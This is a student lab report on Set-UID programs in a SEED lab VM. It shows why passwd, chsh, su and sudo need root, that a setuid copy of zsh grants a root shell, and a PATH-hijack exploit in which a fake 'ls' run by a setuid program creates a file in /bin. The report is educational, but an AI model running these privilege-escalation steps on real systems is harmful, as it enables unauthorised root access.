NAME *: LAKSHITHA RAJ VASANADU*
ID *: 00001115006*

LAB ASSIGNMENT 1
Set-UID Program Vulnerability Lab

1) "**passwd**", "**chsh**", "**su**" and "**sudo**" commands need to be Set-UID programs.

- **passwd**
  - This command allows the users to change their passwords. It is runnable by any user.
  - The users' passwords are stored in "**/etc/shadow**" file which is neither readable nor writable to normal users. It is a root-owned file.
  - It gives the user temporary privilege to change the password so that the user will not get access to other root-owned files/programs and hence should be a Set-UID program.
  - When the "passwd" program runs, the effective user id for the user will be root.

```
seed@seed-desktop:~$ ls -l /usr/bin/passwd
-rwsr-xr-x 1 root root 37084 2009-04-04 01:49 /usr/bin/passwd
seed@seed-desktop:~$ ls -l /etc/shadow
-rw-r----- 1 root shadow 1301 2009-06-11 16:23 /etc/shadow
seed@seed-desktop:~$ passwd
Changing password for seed.
(current) UNIX password:
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
```

  - If the program is not Set-UID, the users can't change their password, as the program will not be able to access the root-owned files. If the files are not root-owned, all users will be able to access them that threaten the security.

```
seed@seed-desktop:~$ mkdir mytemp
seed@seed-desktop:~$ cp /usr/bin/passwd mytemp/passwd
seed@seed-desktop:~$ ls -l mytemp/passwd
-rwxr-xr-x 1 seed seed 37084 2015-01-26 18:36 mytemp/passwd
seed@seed-desktop:~$ mytemp/passwd
Changing password for seed.
(current) UNIX password:
Enter new UNIX password:
Retype new UNIX password:
passwd: Authentication token manipulation error
passwd: password unchanged
```

- **chsh**
  - This command allows the users to change their login shells.
  - The login shell details of the users are stored in "**/etc/passwd**" which is a root-owned file.

- It is a Set-UID program as it ensures that users can modify their own login shells temporarily by getting root access.

```
seed@seed-desktop:~$ ls -l /usr/bin/chsh
-rwsr-xr-x 1 root root 27548 2009-04-04 01:49 /usr/bin/chsh
seed@seed-desktop:~$ ls -l /etc/passwd
-rw-r--r-- 1 root root 1726 2009-06-11 16:23 /etc/passwd
seed@seed-desktop:~$ chsh
Password:
Changing the login shell for seed
Enter the new value, or press ENTER for the default
        Login Shell [/bin/bash]: /bin/bash
```

- If the program is not Set-UID, the normal users will not be able to change their own shell. Or, they might be able to access all the files owned by root.

```
seed@seed-desktop:~$ cp /usr/bin/chsh mytemp
seed@seed-desktop:~$ ls -l mytemp/chsh
-rwxr-xr-x 1 seed seed 27548 2015-01-26 15:43 mytemp/chsh
seed@seed-desktop:~$ mytemp/chsh
Password:
Changing the login shell for seed
Enter the new value, or press ENTER for the default
        Login Shell [/bin/zsh]: /bin/bash
Cannot change ID to root.
```

- **su**
  - This command allows the user to become the super user to perform operations that have root privilege.
  - User must pass super-user's password as an argument.

```
seed@seed-desktop:~$ ls -l /bin/su
-rwsr-xr-x 1 root root 31012 2009-04-04 01:49 /bin/su
seed@seed-desktop:~$ su
Password:
root@seed-desktop:/home/seed# whoami
root
```

- If the program were not Set-UID, then a non-super user would not have privilege to switch and would be running as original one only or would have been able to exploit all the other users. It needs to access files like "/etc/shadow" which are root-owned.

```
seed@seed-desktop:~$ cp /bin/su mytemp/su
seed@seed-desktop:~$ ls -l mytemp/su
-rwxr-xr-x 1 seed seed 31012 2015-01-26 16:09 mytemp/su
seed@seed-desktop:~$ mytemp/su
Password:
su: Authentication failure
```

- **sudo**
  - This command allows the user to become super user or another user as specified in "**/etc/sudoers**" file which is root-owned.
  - The local and effective uid/gid are set to match those of target user as specified in the passwd file.

```
seed@seed-desktop:~$ ls -l /usr/bin/sudo
-rwsr-xr-x 1 root root 115136 2009-02-16 22:22 /usr/bin/sudo
seed@seed-desktop:~$ ls -l /etc/sudoers
-r--r----- 1 root root 557 2009-06-05 14:02 /etc/sudoers
seed@seed-desktop:~$ sudo touch /bin/dummy
seed@seed-desktop:~$ ls -l /bin/dummy
-rw-r--r-- 1 root root 0 2015-01-26 16:34 /bin/dummy
```

  - If it was not a Set-UID program, then ordinary users will not be able to gain privileges of other users nor that of the root.

```
seed@seed-desktop:~$ cp /usr/bin/sudo mytemp/sudo
seed@seed-desktop:~$ ls -l mytemp/sudo
-rwxr-xr-x 1 seed seed 115136 2015-01-26 16:35 mytemp/sudo
seed@seed-desktop:~$ mytemp/sudo touch /bin/dummy1
sudo: must be setuid root
```

2) Bash and Zsh

a) Zsh

- Login as root : ***su***
- Copy zsh to tmp : ***cp /bin/zsh /tmp***
- Set /tmp/zsh as Set UID program: ***chmod 4755 /tmp/zsh***
- Switch to normal user: ***su seed***
- Check the user : ***whoami*** => seed
- Run **/tmp/zsh**

```
root@seed-desktop:/home/seed# ls -l /tmp/zsh
-rwxr-xr-x 1 root root 550744 2015-01-26 14:11 /tmp/zsh
root@seed-desktop:/home/seed# chmod 4755 /tmp/zsh
root@seed-desktop:/home/seed# ls -l /tmp/zsh
-rwsr-xr-x 1 root root 550744 2015-01-26 14:11 /tmp/zsh
root@seed-desktop:/home/seed# whoami
root
root@seed-desktop:/home/seed# su seed
seed@seed-desktop:~$ whoami
seed
seed@seed-desktop:~$ /tmp/zsh
seed-desktop#
seed-desktop#
seed-desktop# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=4(adm),20(dialout),24(cdrom),46(plugdev),106(lpadmin),121(admin),122(sambas
hare),1000(seed)
seed-desktop#
seed-desktop# whoami
root
seed-desktop# touch /bin/hello
seed-desktop#
seed-desktop# ls -l /bin/hello
-rw-r--r-- 1 root seed 0 2015-01-26 14:28 /bin/hello
seed-desktop#
```

- The normal user **gets the root** privilege. As illustrated above, user ***seed*** creates a file ***hello*** in root-owned ***/bin*** directory.
- The effective user id is that of the root.

b) Bash

- Login as root : ***su***
- Copy bash to tmp : ***cp /bin/bash /tmp***
- Set /tmp/bash as Set UID program: ***chmod 4755 /tmp/bash***
- Switch to normal user: ***su seed***
- Check the user : ***whoami*** => seed
- Run **/tmp/bash**

```
seed@seed-desktop:~$ su
Password:
root@seed-desktop:/home/seed# cp /bin/bash /tmp
root@seed-desktop:/home/seed# ls -l /tmp/bash
-rwxr-xr-x 1 root root 2141244 2015-01-26 14:29 /tmp/bash
root@seed-desktop:/home/seed# chmod 4755 /tmp/bash
root@seed-desktop:/home/seed# ls
Desktop  Documents  examples.desktop  ls  Music  my_ls.c  path_backup  Pictures  Public  sys  sys.c  Templates  Videos
root@seed-desktop:/home/seed# ls -l /tmp/bash
-rwsr-xr-x 1 root root 2141244 2015-01-26 14:29 /tmp/bash
root@seed-desktop:/home/seed# whoami
root
root@seed-desktop:/home/seed# su seed
seed@seed-desktop:~$ whoami
seed
seed@seed-desktop:~$ /tmp/bash
bash-3.2$ whoami
seed
bash-3.2$ id
uid=1000(seed) gid=1000(seed) groups=4(adm),20(dialout),24(cdrom),46(plugdev),106(lpadmin),121(admin),122(sambashare),1000(se
ed)
bash-3.2$ touch /bin/hello1
touch: cannot touch `/bin/hello1': Permission denied
```

- The normal user **does not get the root** privilege. As illustrated above, user ***seed*** fails to create a file ***hello*** in root-owned ***/bin*** directory.
- The effective user id is same as the real user id.
- ***Bash has better security than Zsh. Bash immediately drops the privilege as soon as it detects that the program is running with setuid on.***

4) system() and PATH

Let the given program be **sys.c**. It is compiled into **sys**.

```
#include <stdio.h>

int main()  {
   system("whoami");
   system("ls");
   return 0;
}
```

Let the program for exploitation be **my_ls.c**. It is compiled to **ls**.

```
#include <stdio.h>

int main()  {
```

```
    system("whoami");
    system("touch /bin/exploit"); //Creates a file in root-owned directory.
    return 0;
}
```

The permissions of the files are as follows:

```
root@seed-desktop:~# ls -l sys
-rwsr-xr-x 1 root root 9145 2015-01-26 13:31 sys
```

```
seed@seed-desktop:~$ ls -l ls
-rwxr-xr-x 1 seed seed 9189 2015-01-26 13:22 ls
```

When a normal user like *seed* runs the "*my_ls.c*" directly, the user does not have permission to perform the embedded operation.

```
seed@seed-desktop:~$ ./ls
seed
touch: cannot touch `/bin/exploit': Permission denied
```

a) Zsh

- When a normal user like seed runs "sys.c" directly, the user gains the root privilege as it is a set UID program. The program outputs the output of "/bin/ls" command.

```
seed@seed-desktop:~$ ./sys
root
Desktop  Documents  examples.desktop  ls  Music  my_ls.c  path_backup  Pictures  Public  sys  sys.c  Templates  Videos
```

- This **sys.c** program can be exploited to call "**my_ls.c**" by changing the value of **PATH** env variable as follows:

```
seed@seed-desktop:~$ export PATH="/home/seed:$PATH"
seed@seed-desktop:~$ echo $PATH
/home/seed:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games
seed@seed-desktop:~$ whoami
seed
seed@seed-desktop:~$ ./sys
root
root
```

- As illustrated above, the user-defined program is run which creates a file in the root-owned **/bin** directory. It gains root as effective user id.

```
seed@seed-desktop:~$ ls -l /bin/exploit
-rw-r--r-- 1 root seed 0 2015-01-26 13:38 /bin/exploit
```

- **Thus, the set UID program can be made to run user-defined code. Zsh exploits setUID mechanism and leads to a vulnerability. The user code gains root access and this can be dangerous as it can run malicious code or delete the important files.**

b) Bash

- When a normal user like seed runs "sys.c" directly, the user does not gain root privilege even though it's a setUID program. The programs outputs the output of "/bin/ls" command. Bash drops the privilege once it detects that the program is a setUID program.

```
seed@seed-desktop:~$ whoami
seed
seed@seed-desktop:~$ ls -l sys ls
-rwxr-xr-x 1 seed seed 9147 2015-01-26 13:33 ls
-rwsr-xr-x 1 root root 9145 2015-01-26 13:13 sys
seed@seed-desktop:~$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games
seed@seed-desktop:~$ ./ls
seed
touch: cannot touch `/bin/exploit': Permission denied
seed@seed-desktop:~$ ./sys
seed
Desktop  Documents  examples.desktop  ls  Music  my_ls.c  path_backup  Pictures  Public  sys  sys.c  Templates  Videos
```

- We can try to exploit the above code by modifying PATH variable :

```
seed@seed-desktop:~$ export PATH="/home/seed:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games"
seed@seed-desktop:~$ ./sys
seed
seed
touch: cannot touch `/bin/exploit': Permission denied
seed@seed-desktop:~$ export PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games"
seed@seed-desktop:~$ ls /bin/exploit
ls: cannot access /bin/exploit: No such file or directory
```

- But we find that exploit can not be made as the program does not run with root privilege.
- **Thus, bash does not exploit SetUID program and hence provides more protection. The code does not have root access.It drops the privilege once it detects that the program is a setUID program.**